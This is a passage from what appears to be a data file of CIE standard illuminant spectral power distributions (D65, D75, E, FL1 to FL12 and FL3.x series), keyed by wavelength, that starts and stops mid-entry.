91.935800000000000, 605: 91.975850000000008, 610: 92.015900000000002, 615: 91.284099999999995, 620: 90.552300000000002, 625: 88.488850000000014, 630: 86.425399999999996, 635: 86.933099999999996, 640: 87.440799999999996, 645: 85.631000000000000, 650: 83.821200000000005, 655: 84.180300000000003, 660: 84.539400000000001, 665: 85.911799999999999, 670: 87.284199999999998, 675: 85.272999999999996, 680: 83.261799999999994, 685: 78.628749999999997, 690: 73.995699999999999, 695: 75.204800000000006, 700: 76.413899999999998, 705: 77.643449999999987, 710: 78.873000000000005, 715: 72.098499999999987, 720: 65.323999999999998, 725: 69.635199999999998, 730: 73.946400000000011, 735: 76.652699999999996, 740: 79.358999999999995, 745: 73.262649999999994, 750: 67.166299999999993, 755: 58.165050000000001, 760: 49.163800000000002, 765: 59.950200000000002, 770: 70.736599999999996, 775: 68.878900000000002, 780: 67.021200000000007, 785: 67.522600000000011, 790: 68.024000000000001, 795: 65.439549999999997, 800: 62.855099999999993, 805: 58.865049999999997, 810: 54.875000000000000, 815: 57.786200000000001, 820: 60.697400000000002, 825: 62.226949999999995, 830: 63.756500000000003 }, 'D65': { 300: 0.034100, 305: 1.664300, 310: 3.294500, 315: 11.765200, 320: 20.236000, 325: 28.644700, 330: 37.053500, 335: 38.501100, 340: 39.948800, 345: 42.430200, 350: 44.911700, 355: 45.775000, 360: 46.638300, 365: 49.363700, 370: 52.089100, 375: 51.032300, 380: 49.975500, 385: 52.311800, 390: 54.648200, 395: 68.701500, 400: 82.754900, 405: 87.120400, 410: 91.486000, 415: 92.458900, 420: 93.431800, 425: 90.057000, 430: 86.682300, 435: 95.773600, 440: 104.865000, 445: 110.936000, 450: 117.008000, 455: 117.410000, 460: 117.812000, 465: 116.336000, 470: 114.861000, 475: 115.392000, 480: 115.923000, 485: 112.367000, 490: 108.811000, 495: 109.082000, 500: 109.354000, 505: 108.578000, 510: 107.802000, 515: 106.296000, 520: 104.790000, 525: 106.239000, 530: 107.689000, 535: 106.047000, 540: 104.405000, 545: 104.225000, 550: 104.046000, 555: 102.023000, 560: 100.000000, 565: 98.167100, 570: 96.334200, 575: 96.061100, 580: 95.788000, 585: 92.236800, 590: 88.685600, 595: 89.345900, 600: 90.006200, 605: 89.802600, 610: 89.599100, 615: 88.648900, 620: 87.698700, 625: 85.493600, 630: 83.288600, 635: 83.493900, 640: 83.699200, 645: 81.863000, 650: 80.026800, 655: 80.120700, 660: 80.214600, 665: 81.246200, 670: 82.277800, 675: 80.281000, 680: 78.284200, 685: 74.002700, 690: 69.721300, 695: 70.665200, 700: 71.609100, 705: 72.979000, 710: 74.349000, 715: 67.976500, 720: 61.604000, 725: 65.744800, 730: 69.885600, 735: 72.486300, 740: 75.087000, 745: 69.339800, 750: 63.592700, 755: 55.005400, 760: 46.418200, 765: 56.611800, 770: 66.805400, 775: 65.094100, 780: 63.382800 }, 'D75': { 300: 0.043, 305: 2.588, 310: 5.133, 315: 17.470, 320: 29.808, 325: 42.369, 330: 54.930, 335: 56.095, 340: 57.259, 345: 60.000, 350: 62.740, 355: 62.861, 360: 62.982, 365: 66.647, 370: 70.312, 375: 68.507, 380: 66.703, 385: 68.333, 390: 69.963, 395: 85.946, 400: 101.929, 405: 106.911, 410: 111.894, 415: 112.346, 420: 112.798, 425: 107.945, 430: 103.092, 435: 112.145, 440: 121.198, 445: 127.104, 450: 133.010, 455: 132.682, 460: 132.355, 465: 129.838, 470: 127.322, 475: 127.061, 480: 126.800, 485: 122.291, 490: 117.783, 495: 117.186, 500: 116.589, 505: 115.146, 510: 113.702, 515: 111.181, 520: 108.659, 525: 109.552, 530: 110.445, 535: 108.367, 540: 106.289, 545: 105.596, 550: 104.904, 555: 102.452, 560: 100.000, 565: 97.808, 570: 95.616, 575: 94.914, 580: 94.213, 585: 90.605, 590: 86.997, 595: 87.112, 600: 87.227, 605: 86.684, 610: 86.140, 615: 84.861, 620: 83.581, 625: 81.164, 630: 78.747, 635: 78.587, 640: 78.428, 645: 76.614, 650: 74.801, 655: 74.562, 660: 74.324, 665: 74.873, 670: 75.422, 675: 73.499, 680: 71.576, 685: 67.714, 690: 63.852, 695: 64.464, 700: 65.076, 705: 66.573, 710: 68.070, 715: 62.256, 720: 56.443, 725: 60.343, 730: 64.242, 735: 66.697, 740: 69.151, 745: 63.890, 750: 58.629, 755: 50.623, 760: 42.617, 765: 51.985, 770: 61.352, 775: 59.838, 780: 58.324 }, 'E': { 300: 100.000, 305: 100.000, 310: 100.000, 315: 100.000, 320: 100.000, 325: 100.000, 330: 100.000, 335: 100.000, 340: 100.000, 345: 100.000, 350: 100.000, 355: 100.000, 360: 100.000, 365: 100.000, 370: 100.000, 375: 100.000, 380: 100.000, 385: 100.000, 390: 100.000, 395: 100.000, 400: 100.000, 405: 100.000, 410: 100.000, 415: 100.000, 420: 100.000, 425: 100.000, 430: 100.000, 435: 100.000, 440: 100.000, 445: 100.000, 450: 100.000, 455: 100.000, 460: 100.000, 465: 100.000, 470: 100.000, 475: 100.000, 480: 100.000, 485: 100.000, 490: 100.000, 495: 100.000, 500: 100.000, 505: 100.000, 510: 100.000, 515: 100.000, 520: 100.000, 525: 100.000, 530: 100.000, 535: 100.000, 540: 100.000, 545: 100.000, 550: 100.000, 555: 100.000, 560: 100.000, 565: 100.000, 570: 100.000, 575: 100.000, 580: 100.000, 585: 100.000, 590: 100.000, 595: 100.000, 600: 100.000, 605: 100.000, 610: 100.000, 615: 100.000, 620: 100.000, 625: 100.000, 630: 100.000, 635: 100.000, 640: 100.000, 645: 100.000, 650: 100.000, 655: 100.000, 660: 100.000, 665: 100.000, 670: 100.000, 675: 100.000, 680: 100.000, 685: 100.000, 690: 100.000, 695: 100.000, 700: 100.000, 705: 100.000, 710: 100.000, 715: 100.000, 720: 100.000, 725: 100.000, 730: 100.000, 735: 100.000, 740: 100.000, 745: 100.000, 750: 100.000, 755: 100.000, 760: 100.000, 765: 100.000, 770: 100.000, 775: 100.000, 780: 100.000 }, 'FL1': { 380: 1.87, 385: 2.36, 390: 2.94, 395: 3.47, 400: 5.17, 405: 19.49, 410: 6.13, 415: 6.24, 420: 7.01, 425: 7.79, 430: 8.56, 435: 43.67, 440: 16.94, 445: 10.72, 450: 11.35, 455: 11.89, 460: 12.37, 465: 12.75, 470: 13.00, 475: 13.15, 480: 13.23, 485: 13.17, 490: 13.13, 495: 12.85, 500: 12.52, 505: 12.20, 510: 11.83, 515: 11.50, 520: 11.22, 525: 11.05, 530: 11.03, 535: 11.18, 540: 11.53, 545: 27.74, 550: 17.05, 555: 13.55, 560: 14.33, 565: 15.01, 570: 15.52, 575: 18.29, 580: 19.55, 585: 15.48, 590: 14.91, 595: 14.15, 600: 13.22, 605: 12.19, 610: 11.12, 615: 10.03, 620: 8.95, 625: 7.96, 630: 7.02, 635: 6.20, 640: 5.42, 645: 4.73, 650: 4.15, 655: 3.64, 660: 3.20, 665: 2.81, 670: 2.47, 675: 2.18, 680: 1.93, 685: 1.72, 690: 1.67, 695: 1.43, 700: 1.29, 705: 1.19, 710: 1.08, 715: 0.96, 720: 0.88, 725: 0.81, 730: 0.77, 735: 0.75, 740: 0.73, 745: 0.68, 750: 0.69, 755: 0.64, 760: 0.68, 765: 0.69, 770: 0.61, 775: 0.52, 780: 0.43 }, 'FL2': { 380: 1.18, 385: 1.48, 390: 1.84, 395: 2.15, 400: 3.44, 405: 15.69, 410: 3.85, 415: 3.74, 420: 4.19, 425: 4.62, 430: 5.06, 435: 34.98, 440: 11.81, 445: 6.27, 450: 6.63, 455: 6.93, 460: 7.19, 465: 7.40, 470: 7.54, 475: 7.62, 480: 7.65, 485: 7.62, 490: 7.62, 495: 7.45, 500: 7.28, 505: 7.15, 510: 7.05, 515: 7.04, 520: 7.16, 525: 7.47, 530: 8.04, 535: 8.88, 540: 10.01, 545: 24.88, 550: 16.64, 555: 14.59, 560: 16.16, 565: 17.56, 570: 18.62, 575: 21.47, 580: 22.79, 585: 19.29, 590: 18.66, 595: 17.73, 600: 16.54, 605: 15.21, 610: 13.80, 615: 12.36, 620: 10.95, 625: 9.65, 630: 8.40, 635: 7.32, 640: 6.31, 645: 5.43, 650: 4.68, 655: 4.02, 660: 3.45, 665: 2.96, 670: 2.55, 675: 2.19, 680: 1.89, 685: 1.64, 690: 1.53, 695: 1.27, 700: 1.10, 705: 0.99, 710: 0.88, 715: 0.76, 720: 0.68, 725: 0.61, 730: 0.56, 735: 0.54, 740: 0.51, 745: 0.47, 750: 0.47, 755: 0.43, 760: 0.46, 765: 0.47, 770: 0.40, 775: 0.33, 780: 0.27 }, 'FL3': { 380: 0.82, 385: 1.02, 390: 1.26, 395: 1.44, 400: 2.57, 405: 14.36, 410: 2.70, 415: 2.45, 420: 2.73, 425: 3.00, 430: 3.28, 435: 31.85, 440: 9.47, 445: 4.02, 450: 4.25, 455: 4.44, 460: 4.59, 465: 4.72, 470: 4.80, 475: 4.86, 480: 4.87, 485: 4.85, 490: 4.88, 495: 4.77, 500: 4.67, 505: 4.62, 510: 4.62, 515: 4.73, 520: 4.99, 525: 5.48, 530: 6.25, 535: 7.34, 540: 8.78, 545: 23.82, 550: 16.14, 555: 14.59, 560: 16.63, 565: 18.49, 570: 19.95, 575: 23.11, 580: 24.69, 585: 21.41, 590: 20.85, 595: 19.93, 600: 18.67, 605: 17.22, 610: 15.65, 615: 14.04, 620: 12.45, 625: 10.95, 630: 9.51, 635: 8.27, 640: 7.11, 645: 6.09, 650: 5.22, 655: 4.45, 660: 3.80, 665: 3.23, 670: 2.75, 675: 2.33, 680: 1.99, 685: 1.70, 690: 1.55, 695: 1.27, 700: 1.09, 705: 0.96, 710: 0.83, 715: 0.71, 720: 0.62, 725: 0.54, 730: 0.49, 735: 0.46, 740: 0.43, 745: 0.39, 750: 0.39, 755: 0.35, 760: 0.38, 765: 0.39, 770: 0.33, 775: 0.28, 780: 0.21 }, 'FL4': { 380: 0.57, 385: 0.70, 390: 0.87, 395: 0.98, 400: 2.01, 405: 13.75, 410: 1.95, 415: 1.59, 420: 1.76, 425: 1.93, 430: 2.10, 435: 30.28, 440: 8.03, 445: 2.55, 450: 2.70, 455: 2.82, 460: 2.91, 465: 2.99, 470: 3.04, 475: 3.08, 480: 3.09, 485: 3.09, 490: 3.14, 495: 3.06, 500: 3.00, 505: 2.98, 510: 3.01, 515: 3.14, 520: 3.41, 525: 3.90, 530: 4.69, 535: 5.81, 540: 7.32, 545: 22.59, 550: 15.11, 555: 13.88, 560: 16.33, 565: 18.68, 570: 20.64, 575: 24.28, 580: 26.26, 585: 23.28, 590: 22.94, 595: 22.14, 600: 20.91, 605: 19.43, 610: 17.74, 615: 16.00, 620: 14.42, 625: 12.56, 630: 10.93, 635: 9.52, 640: 8.18, 645: 7.01, 650: 6.00, 655: 5.11, 660: 4.36, 665: 3.69, 670: 3.13, 675: 2.64, 680: 2.24, 685: 1.91, 690: 1.70, 695: 1.39, 700: 1.18, 705: 1.03, 710: 0.88, 715: 0.74, 720: 0.64, 725: 0.54, 730: 0.49, 735: 0.46, 740: 0.42, 745: 0.37, 750: 0.37, 755: 0.33, 760: 0.35, 765: 0.36, 770: 0.31, 775: 0.26, 780: 0.19 }, 'FL5': { 380: 1.87, 385: 2.35, 390: 2.92, 395: 3.45, 400: 5.10, 405: 18.91, 410: 6.00, 415: 6.11, 420: 6.85, 425: 7.58, 430: 8.31, 435: 40.76, 440: 16.06, 445: 10.32, 450: 10.91, 455: 11.40, 460: 11.83, 465: 12.17, 470: 12.40, 475: 12.54, 480: 12.58, 485: 12.52, 490: 12.47, 495: 12.20, 500: 11.89, 505: 11.61, 510: 11.33, 515: 11.10, 520: 10.96, 525: 10.97, 530: 11.16, 535: 11.54, 540: 12.12, 545: 27.78, 550: 17.73, 555: 14.47, 560: 15.20, 565: 15.77, 570: 16.10, 575: 18.54, 580: 19.50, 585: 15.39, 590: 14.64, 595: 13.72, 600: 12.69, 605: 11.57, 610: 10.45, 615: 9.35, 620: 8.29, 625: 7.32, 630: 6.41, 635: 5.63, 640: 4.90, 645: 4.26, 650: 3.72, 655: 3.25, 660: 2.83, 665: 2.49, 670: 2.19, 675: 1.93, 680: 1.71, 685: 1.52, 690: 1.48, 695: 1.26, 700: 1.13, 705: 1.05, 710: 0.96, 715: 0.85, 720: 0.78, 725: 0.72, 730: 0.68, 735: 0.67, 740: 0.65, 745: 0.61, 750: 0.62, 755: 0.59, 760: 0.62, 765: 0.64, 770: 0.55, 775: 0.47, 780: 0.40 }, 'FL6': { 380: 1.05, 385: 1.31, 390: 1.63, 395: 1.90, 400: 3.11, 405: 14.80, 410: 3.43, 415: 3.30, 420: 3.68, 425: 4.07, 430: 4.45, 435: 32.61, 440: 10.74, 445: 5.48, 450: 5.78, 455: 6.03, 460: 6.25, 465: 6.41, 470: 6.52, 475: 6.58, 480: 6.59, 485: 6.56, 490: 6.56, 495: 6.42, 500: 6.28, 505: 6.20, 510: 6.19, 515: 6.30, 520: 6.60, 525: 7.12, 530: 7.94, 535: 9.07, 540: 10.49, 545: 25.22, 550: 17.46, 555: 15.63, 560: 17.22, 565: 18.53, 570: 19.43, 575: 21.97, 580: 23.01, 585: 19.41, 590: 18.56, 595: 17.42, 600: 16.09, 605: 14.64, 610: 13.15, 615: 11.68, 620: 10.25, 625: 8.95, 630: 7.74, 635: 6.69, 640: 5.71, 645: 4.87, 650: 4.16, 655: 3.55, 660: 3.02, 665: 2.57, 670: 2.20, 675: 1.87, 680: 1.60, 685: 1.37, 690: 1.29, 695: 1.05, 700: 0.91, 705: 0.81, 710: 0.71, 715: 0.61, 720: 0.54, 725: 0.48, 730: 0.44, 735: 0.43, 740: 0.40, 745: 0.37, 750: 0.38, 755: 0.35, 760: 0.39, 765: 0.41, 770: 0.33, 775: 0.26, 780: 0.21 }, 'FL7': { 380: 2.56, 385: 3.18, 390: 3.84, 395: 4.53, 400: 6.15, 405: 19.37, 410: 7.37, 415: 7.05, 420: 7.71, 425: 8.41, 430: 9.15, 435: 44.14, 440: 17.52, 445: 11.35, 450: 12.00, 455: 12.58, 460: 13.08, 465: 13.45, 470: 13.71, 475: 13.88, 480: 13.95, 485: 13.93, 490: 13.82, 495: 13.64, 500: 13.43, 505: 13.25, 510: 13.08, 515: 12.93, 520: 12.78, 525: 12.60, 530: 12.44, 535: 12.33, 540: 12.26, 545: 29.52, 550: 17.05, 555: 12.44, 560: 12.58, 565: 12.72, 570: 12.83, 575: 15.46, 580: 16.75, 585: 12.83, 590: 12.67, 595: 12.45, 600: 12.19, 605: 11.89, 610: 11.60, 615: 11.35, 620: 11.12, 625: 10.95, 630: 10.76, 635: 10.42, 640: 10.11, 645: 10.04, 650: 10.02, 655: 10.11, 660: 9.87, 665: 8.65, 670: 7.27, 675: 6.44, 680: 5.83, 685: 5.41, 690: 5.04, 695: 4.57, 700: 4.12, 705: 3.77, 710: 3.46, 715: 3.08, 720: 2.73, 725: 2.47, 730: 2.25, 735: 2.06, 740: 1.90, 745: 1.75, 750: 1.62, 755: 1.54, 760: 1.45, 765: 1.32, 770: 1.17, 775: 0.99, 780: 0.81 }, 'FL8': { 380: 1.21, 385: 1.50, 390: 1.81, 395: 2.13, 400: 3.17, 405: 13.08, 410: 3.83, 415: 3.45, 420: 3.86, 425: 4.42, 430: 5.09, 435: 34.10, 440: 12.42, 445: 7.68, 450: 8.60, 455: 9.46, 460: 10.24, 465: 10.84, 470: 11.33, 475: 11.71, 480: 11.98, 485: 12.17, 490: 12.28, 495: 12.32, 500: 12.35, 505: 12.44, 510: 12.55, 515: 12.68, 520: 12.77, 525: 12.72, 530: 12.60, 535: 12.43, 540: 12.22, 545: 28.96, 550: 16.51, 555: 11.79, 560: 11.76, 565: 11.77, 570: 11.84, 575: 14.61, 580: 16.11, 585: 12.34, 590: 12.53, 595: 12.72, 600: 12.92, 605: 13.12, 610: 13.34, 615: 13.61, 620: 13.87, 625: 14.07, 630: 14.20, 635: 14.16, 640: 14.13, 645: 14.34, 650: 14.50, 655: 14.46, 660: 14.00, 665: 12.58, 670: 10.99, 675: 9.98, 680: 9.22, 685: 8.62, 690: 8.07, 695: 7.39, 700: 6.71, 705: 6.16, 710: 5.63, 715: 5.03, 720: 4.46, 725: 4.02, 730: 3.66, 735: 3.36, 740: 3.09, 745: 2.85, 750: 2.65, 755: 2.51, 760: 2.37, 765: 2.15, 770: 1.89, 775: 1.61, 780: 1.32 }, 'FL9': { 380: 0.90, 385: 1.12, 390: 1.36, 395: 1.60, 400: 2.59, 405: 12.80, 410: 3.05, 415: 2.56, 420: 2.86, 425: 3.30, 430: 3.82, 435: 32.62, 440: 10.77, 445: 5.84, 450: 6.57, 455: 7.25, 460: 7.86, 465: 8.35, 470: 8.75, 475: 9.06, 480: 9.31, 485: 9.48, 490: 9.61, 495: 9.68, 500: 9.74, 505: 9.88, 510: 10.04, 515: 10.26, 520: 10.48, 525: 10.63, 530: 10.78, 535: 10.96, 540: 11.18, 545: 27.71, 550: 16.29, 555: 12.28, 560: 12.74, 565: 13.21, 570: 13.65, 575: 16.57, 580: 18.14, 585: 14.55, 590: 14.65, 595: 14.66, 600: 14.61, 605: 14.50, 610: 14.39, 615: 14.40, 620: 14.47, 625: 14.62, 630: 14.72, 635: 14.55, 640: 14.40, 645: 14.58, 650: 14.88, 655: 15.51, 660: 15.47, 665: 13.20, 670: 10.57, 675: 9.18, 680: 8.25, 685: 7.57, 690: 7.03, 695: 6.35, 700: 5.72, 705: 5.25, 710: 4.80, 715: 4.29, 720: 3.80, 725: 3.43, 730: 3.12, 735: 2.86, 740: 2.64, 745: 2.43, 750: 2.26, 755: 2.14, 760: 2.02, 765: 1.83, 770: 1.61, 775: 1.38, 780: 1.12 }, 'FL10': { 380: 1.11, 385: 0.80, 390: 0.62, 395: 0.57, 400: 1.48, 405: 12.16, 410: 2.12, 415: 2.70, 420: 3.74, 425: 5.14, 430: 6.75, 435: 34.39, 440: 14.86, 445: 10.40, 450: 10.76, 455: 10.67, 460: 10.11, 465: 9.27, 470: 8.29, 475: 7.29, 480: 7.91, 485: 16.64, 490: 16.73, 495: 10.44, 500: 5.94, 505: 3.34, 510: 2.35, 515: 1.88, 520: 1.59, 525: 1.47, 530: 1.80, 535: 5.71, 540: 40.98, 545: 73.69, 550: 33.61, 555: 8.24, 560: 3.38, 565: 2.47, 570: 2.14, 575: 4.86, 580: 11.45, 585: 14.79, 590: 12.16, 595: 8.97, 600: 6.52, 605: 8.31, 610: 44.12, 615: 34.55, 620: 12.09, 625: 12.15, 630: 10.52, 635: 4.43, 640: 1.95, 645: 2.19, 650: 3.19, 655: 2.77, 660: 2.29, 665: 2.00, 670: 1.52, 675: 1.35, 680: 1.47, 685: 1.79, 690: 1.74, 695: 1.02, 700: 1.14, 705: 3.32, 710: 4.49, 715: 2.05, 720: 0.49, 725: 0.24, 730: 0.21, 735: 0.21, 740: 0.24, 745: 0.24, 750: 0.21, 755: 0.17, 760: 0.21, 765: 0.22, 770: 0.17, 775: 0.12, 780: 0.09 }, 'FL11': { 380: 0.91, 385: 0.63, 390: 0.46, 395: 0.37, 400: 1.29, 405: 12.68, 410: 1.59, 415: 1.79, 420: 2.46, 425: 3.33, 430: 4.49, 435: 33.94, 440: 12.13, 445: 6.95, 450: 7.19, 455: 7.12, 460: 6.72, 465: 6.13, 470: 5.46, 475: 4.79, 480: 5.66, 485: 14.29, 490: 14.96, 495: 8.97, 500: 4.72, 505: 2.33, 510: 1.47, 515: 1.10, 520: 0.89, 525: 0.83, 530: 1.18, 535: 4.90, 540: 39.59, 545: 72.84, 550: 32.61, 555: 7.52, 560: 2.83, 565: 1.96, 570: 1.67, 575: 4.43, 580: 11.28, 585: 14.76, 590: 12.73, 595: 9.74, 600: 7.33, 605: 9.72, 610: 55.27, 615: 42.58, 620: 13.18, 625: 13.16, 630: 12.26, 635: 5.11, 640: 2.07, 645: 2.34, 650: 3.58, 655: 3.01, 660: 2.48, 665: 2.14, 670: 1.54, 675: 1.33, 680: 1.46, 685: 1.94, 690: 2.00, 695: 1.20, 700: 1.35, 705: 4.10, 710: 5.58, 715: 2.51, 720: 0.57, 725: 0.27, 730: 0.23, 735: 0.21, 740: 0.24, 745: 0.24, 750: 0.20, 755: 0.24, 760: 0.32, 765: 0.26, 770: 0.16, 775: 0.12, 780: 0.09 }, 'FL12': { 380: 0.96, 385: 0.64, 390: 0.40, 395: 0.33, 400: 1.19, 405: 12.48, 410: 1.12, 415: 0.94, 420: 1.08, 425: 1.37, 430: 1.78, 435: 29.05, 440: 7.90, 445: 2.65, 450: 2.71, 455: 2.65, 460: 2.49, 465: 2.33, 470: 2.10, 475: 1.91, 480: 3.01, 485: 10.83, 490: 11.88, 495: 6.88, 500: 3.43, 505: 1.49, 510: 0.92, 515: 0.71, 520: 0.60, 525: 0.63, 530: 1.10, 535: 4.56, 540: 34.40, 545: 65.40, 550: 29.48, 555: 7.16, 560: 3.08, 565: 2.47, 570: 2.27, 575: 5.09, 580: 11.96, 585: 15.32, 590: 14.27, 595: 11.86, 600: 9.28, 605: 12.31, 610: 68.53, 615: 53.02, 620: 14.67, 625: 14.38, 630: 14.71, 635: 6.46, 640: 2.57, 645: 2.75, 650: 4.18, 655: 3.44, 660: 2.81, 665: 2.42, 670: 1.64, 675: 1.36, 680: 1.49, 685: 2.14, 690: 2.34, 695: 1.42, 700: 1.61, 705: 5.04, 710: 6.98, 715: 3.19, 720: 0.71, 725: 0.30, 730: 0.26, 735: 0.23, 740: 0.28, 745: 0.28, 750: 0.21, 755: 0.17, 760: 0.21, 765: 0.19, 770: 0.15, 775: 0.10, 780: 0.05 }, 'FL3.1': { 380: 2.39, 385: 2.93, 390: 3.82, 395: 4.23, 400: 4.97, 405: 86.30, 410: 11.65, 415: 7.09, 420: 7.84, 425: 8.59, 430: 9.44, 435: 196.54, 440: 10.94, 445: 11.38, 450: 11.89, 455: 12.37, 460: 12.81, 465: 13.15, 470: 13.39, 475: 13.56, 480: 13.59, 485: 13.56, 490: 14.07, 495: 13.39, 500: 13.29, 505: 13.25, 510: 13.53, 515: 14.24, 520: 15.74, 525: 18.26, 530: 22.28, 535: 27.97, 540: 35.70, 545: 148.98, 550: 56.55, 555: 68.68, 560: 79.99, 565: 91.47, 570: 101.32, 575: 123.16, 580: 129.53, 585: 115.05, 590: 113.48, 595: 110.08, 600: 104.28, 605: 97.98, 610: 89.60, 615: 80.74, 620: 71.92, 625: 63.50, 630: 55.46, 635: 47.97, 640: 41.39, 645: 35.50, 650: 30.32, 655: 25.79, 660: 21.84, 665: 18.53, 670: 15.67, 675: 13.22, 680: 11.14, 685: 9.40, 690: 8.65, 695: 6.75, 700: 5.69, 705: 4.87, 710: 4.29, 715: 3.54, 720: 3.03, 725: 2.62, 730: 2.28, 735: 1.94, 740: 1.70, 745: 1.50, 750: 1.36, 755: 1.16, 760: 4.91, 765: 0.95, 770: 1.50, 775: 0.89, 780: 0.68 }, 'FL3.2': { 380: 5.80, 385: 6.99, 390: 8.70, 395: 9.89, 400: 11.59, 405: 94.53, 410: 20.80, 415: 16.52, 420: 18.30, 425: 20.33, 430: 22.00, 435: 231.90, 440: 25.81, 445: 27.63, 450: 29.10, 455: 30.61, 460: 31.92, 465: 33.11, 470: 33.83, 475: 34.70, 480: 35.02, 485: 35.22, 490: 35.81, 495: 35.14, 500: 35.14, 505: 34.90, 510: 34.70, 515: 35.02, 520: 36.13, 525: 37.92, 530: 40.62, 535: 44.70, 540: 49.63, 545: 154.16, 550: 62.21, 555: 68.92, 560: 75.83, 565: 81.95, 570: 86.95, 575: 103.54, 580: 109.94, 585: 91.95, 590: 89.85, 595: 87.15, 600: 83.26, 605: 78.93, 610: 73.93, 615: 68.84, 620: 63.44, 625: 58.84, 630: 53.84, 635: 49.43, 640: 45.54, 645: 41.53, 650: 38.31, 655: 34.62, 660: 31.80, 665: 29.02, 670: 26.72, 675: 24.22, 680: 22.19, 685: 20.41, 690: 19.10, 695: 16.79, 700: 15.13, 705: 13.82, 710: 12.63, 715: 11.39, 720: 10.32, 725: 9.21, 730: 8.89, 735: 7.50, 740: 6.71, 745: 6.11, 750: 5.40, 755: 4.80, 760: 8.70, 765: 4.01, 770: 4.09, 775: 3.30, 780: 2.82 }, 'FL3.3': { 380: 8.94, 385: 11.21, 390: 14.08, 395: 16.48, 400: 19.63, 405: 116.33, 410: 32.07, 415: 29.72, 420: 33.39, 425: 36.94, 430: 40.33, 435: 262.66, 440: 46.87, 445: 49.79, 450: 52.46, 455: 54.81, 460: 56.81, 465: 58.44, 470: 59.52, 475: 60.12, 480: 60.24, 485: 59.88, 490: 59.88, 495: 58.60, 500: 57.85, 505: 56.29, 510: 54.81, 515: 53.42, 520: 52.70, 525: 52.50, 530: 53.30, 535: 54.89, 540: 57.61, 545: 182.75, 550: 65.27, 555: 69.41, 560: 73.28, 565: 76.56, 570: 78.67, 575: 95.74, 580: 97.22, 585: 76.79, 590: 73.36, 595: 69.33, 600: 64.23, 605: 58.92, 610: 53.38, 615: 47.91, 620: 42.61, 625: 37.74, 630: 33.11, 635: 29.04, 640: 25.29, 645: 22.10, 650: 19.31, 655: 16.84, 660: 14.68, 665: 12.89, 670: 11.37, 675: 9.97, 680: 8.82, 685: 7.86, 690: 7.78, 695: 6.30, 700: 5.67, 705: 5.15, 710: 4.91, 715: 4.31, 720: 3.99, 725: 3.67, 730: 3.43, 735: 3.19, 740: 2.95, 745: 2.75, 750: 2.63, 755: 2.43, 760: 7.14, 765: 2.19, 770: 2.71, 775: 2.00, 780: 1.80 }, 'FL3.4': { 380: 3.46, 385: 3.86, 390: 4.41, 395: 4.51, 400: 4.86, 405: 71.22, 410: 8.72, 415: 5.36, 420: 5.61, 425: 5.91, 430: 6.42, 435: 192.77, 440: 7.77, 445: 8.37, 450: 9.22, 455: 10.18, 460: 11.18, 465: 12.28, 470: 13.38, 475: 14.54, 480: 15.74, 485: 17.09, 490: 19.60, 495: 21.05, 500: 23.96, 505: 27.77, 510: 32.68, 515: 38.29, 520: 43.76, 525: 47.72, 530: 50.27, 535: 51.78, 540: 52.68, 545: 167.36, 550: 55.29, 555: 56.94, 560: 59.30, 565: 62.15, 570: 65.26, 575: 84.26, 580: 89.22, 585: 75.79, 590: 79.19, 595: 82.80, 600: 85.76, 605: 88.62, 610: 91.12, 615: 93.43, 620: 96.89, 625: 101.45, 630: 103.65, 635: 100.30, 640: 97.89, 645: 96.59, 650: 106.21, 655: 109.97, 660: 117.49, 665: 96.04, 670: 80.15, 675: 70.42, 680: 65.01, 685: 60.15, 690: 56.04, 695: 50.92, 700: 46.26, 705: 42.60, 710: 38.85, 715: 35.09, 720: 31.73, 725: 28.77, 730: 25.76, 735: 23.16, 740: 21.30, 745: 18.55, 750: 17.74, 755: 14.74, 760: 12.93, 765: 13.63, 770: 10.43, 775: 9.67, 780: 8.07 }, 'FL3.5': { 380: 4.72, 385: 5.82, 390: 7.18, 395: 8.39, 400: 9.96, 405: 58.86, 410: 15.78, 415: 15.10, 420: 17.30, 425: 19.66, 430: 22.43, 435: 176.00, 440: 28.67, 445: 31.92, 450: 35.38, 455: 38.73, 460: 41.98, 465: 44.92, 470: 47.49, 475: 49.58, 480: 51.21, 485: 52.36, 490: 53.99, 495: 53.78, 500: 54.04, 505: 53.88, 510: 53.62, 515: 53.25, 520: 53.09, 525: 52.88, 530: 52.99, 535: 53.15, 540: 53.67, 545: 167.93, 550: 55.61, 555: 56.82, 560: 58.39, 565: 60.22, 570: 62.21, 575: 81.45, 580: 84.96, 585: 68.71, 590: 70.70, 595: 73.01, 600: 74.69, 605: 76.26, 610: 77.68, 615: 78.67, 620: 80.14, 625: 81.71, 630: 82.08, 635: 79.98, 640: 78.15, 645: 76.52, 650: 79.20, 655: 79.51, 660: 81.08, 665: 70.76, 670: 62.58, 675: 56.87, 680: 52.83, 685: 49.11, 690: 46.28, 695: 42.24, 700: 38.58, 705: 35.59, 710: 32.76, 715: 29.61, 720: 26.89, 725: 24.53, 730: 22.17, 735: 20.02, 740: 18.45, 745: 16.09, 750: 15.62, 755: 13.10, 760: 11.69, 765: 12.42, 770: 9.43, 775: 8.96, 780: 7.39 }, 'FL3.6': { 380: 5.53, 385: 6.63, 390: 8.07, 395: 9.45, 400: 11.28, 405: 61.47, 410: 17.80, 415: 17.47, 420: 20.12, 425: 23.05, 430: 26.37, 435: 186.01, 440: 33.94, 445: 37.98, 450: 42.12, 455: 46.38, 460: 50.30, 465: 53.95, 470: 56.94, 475: 59.48, 480: 61.36, 485: 62.68, 490: 64.34, 495: 63.90, 500: 63.85, 505: 63.24, 510: 62.46, 515: 61.41, 520: 60.47, 525: 59.48, 530: 58.65, 535: 57.93, 540: 57.49, 545: 175.17, 550: 57.27, 555: 57.49, 560: 57.99, 565: 58.76, 570: 59.64, 575: 78.77, 580: 81.26, 585: 63.18, 590: 64.29, 595: 65.78, 600: 66.77, 605: 67.77, 610: 68.60, 615: 69.10, 620: 70.15, 625: 71.69, 630: 71.97, 635: 69.81, 640: 68.05, 645: 66.66, 650: 69.70, 655: 70.37, 660: 72.47, 665: 62.30, 670: 54.45, 675: 49.20, 680: 45.60, 685: 42.40, 690: 40.02, 695: 36.48, 700: 33.28, 705: 30.84, 710: 28.30, 715: 25.65, 720: 23.33, 725: 21.23, 730: 19.29, 735: 17.41, 740: 16.31, 745: 14.21, 750: 14.04, 755: 11.55, 760: 10.39, 765: 11.28, 770: 8.51, 775: 8.24, 780: 7.02 }, 'FL3.7': { 380: 3.79, 385: 2.56, 390: 1.91, 395: 1.42, 400: 1.51, 405: 73.64, 410: 7.37, 415: 4.69, 420: 5.33, 425: 6.75, 430: 8.51, 435: 181.81, 440: 11.71, 445: 11.96, 450: 12.18, 455: 11.90, 460: 11.16, 465: 